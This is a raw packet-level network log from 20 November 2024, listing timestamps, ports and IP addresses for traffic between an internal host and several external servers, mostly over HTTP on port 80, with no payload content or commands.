Nov 20, 2024 23:12:54.941327095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.941379070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.942034006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.942086935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.942120075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.942163944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.942647934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.942694902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.942711115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.942748070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.943511963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.943561077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.943612099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.943660021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.944309950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.944351912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.944408894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.944453955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.945313931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.945395947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.945478916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.945899010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.946002007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.946044922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.946106911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.946888924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.946938038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.946979046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.947019100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.947798014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.947818995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.947846889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.947868109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.947942019 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.947969913 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.947985888 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.948350906 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.948365927 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.948429108 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.948574066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.948754072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.949038029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.949418068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.949517012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.949556112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.950247049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.950315952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.950378895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.950426102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.951105118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.951160908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.951210022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.951370001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.951987982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.952090979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.952140093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.952795029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.952847004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.952876091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.952915907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.953660011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.953707933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.953763008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.953919888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.954510927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.954557896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.954654932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.954703093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.955368042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.955416918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.955463886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.955508947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.956192970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.956252098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.956305027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.956432104 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.957063913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.957185984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.957231045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.957910061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.957963943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.957994938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.958034992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.958770037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.958817005 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.958872080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.958924055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.959602118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.959654093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.959693909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.959738016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.960485935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.960541010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.960602045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.960645914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.961316109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.961363077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.961407900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.961451054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.962150097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.962199926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.962256908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.962306023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.962982893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.963048935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.963052988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.963097095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.963922024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.963973999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.964107990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.964154959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.964708090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.964756012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.964799881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.964844942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.027580976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.027647972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.027678967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.027718067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.027805090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.027846098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.028008938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.028048992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.028654099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.028712034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.028762102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.028800011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.029519081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.029570103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.029628992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.029669046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.030358076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.030489922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.030513048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.030538082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.031337976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.031455040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.031483889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.031500101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.032038927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.032099962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.032120943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.032330036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.032886028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.032989979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.033009052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.033046007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.033737898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.033790112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.033791065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.033832073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.034580946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.034625053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.034688950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.034729958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.035444021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.035486937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.035542011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.035583973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.039392948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039407015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039417982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039422989 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039427996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039433956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.039477110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.039506912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.039954901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.040010929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.040124893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.040163994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.040739059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.040782928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.041058064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.041397095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.041683912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.041724920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.041861057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.041898966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.042536020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.042577982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.042846918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.042885065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.043513060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.043524981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.043561935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.044157028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.044171095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.044224024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.045078993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.045124054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.045253992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.045295000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.045916080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.045954943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.046108961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.046153069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.046735048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.046785116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.046910048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.046947956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.047703981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.047755957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.047872066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.047938108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.135742903 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.135773897 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.135833025 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.135854959 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.135910988 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.144607067 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.144834042 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.144860983 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.145868063 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.145920992 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.146231890 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.146280050 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.150985956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.151066065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.151123047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.151165962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.151376009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.151424885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.151464939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.151504993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.152240038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.152251959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.152292013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.153109074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.153166056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.153171062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.153211117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.154010057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.154026985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.154090881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.154759884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.154828072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.154843092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.154895067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.155663013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.155761957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.155765057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.155855894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.156505108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.156560898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.156615019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.156657934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.157300949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.157355070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.157409906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.157562017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.158154964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.158206940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.158371925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.158565998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.159018040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.159056902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.159369946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.159467936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.159842014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.159885883 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.160028934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.160166979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.160717964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.160763025 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.160773039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.160816908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.161561012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.161607981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.161660910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.161721945 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.162401915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.162529945 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.162566900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.162611961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.163256884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.163317919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.163371086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.163419008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.164117098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.164129019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.164165974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.164932013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.164979935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.165041924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.165180922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.165781975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.165913105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.165960073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.166635036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.166683912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.166747093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.166786909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.167495012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.167620897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.167670012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.168359041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.168410063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.168426037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.168452024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.169202089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.169265032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.169300079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.169425964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.170258045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.170330048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.170337915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.170387030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.170931101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.171080112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.171135902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.171727896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.171772003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.171824932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.171885014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.172620058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.172660112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.172669888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.172698021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.173448086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.173567057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.173594952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.173635006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.174313068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.174375057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.174465895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.174513102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.175158024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.175184011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.175240040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.182925940 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.182950020 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.183012962 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.183033943 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.183355093 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.183355093 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.190463066 CET	443	49875	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.191181898 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.191209078 CET	443	49875	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.191582918 CET	443	49875	23.49.251.21	192.168.2.7
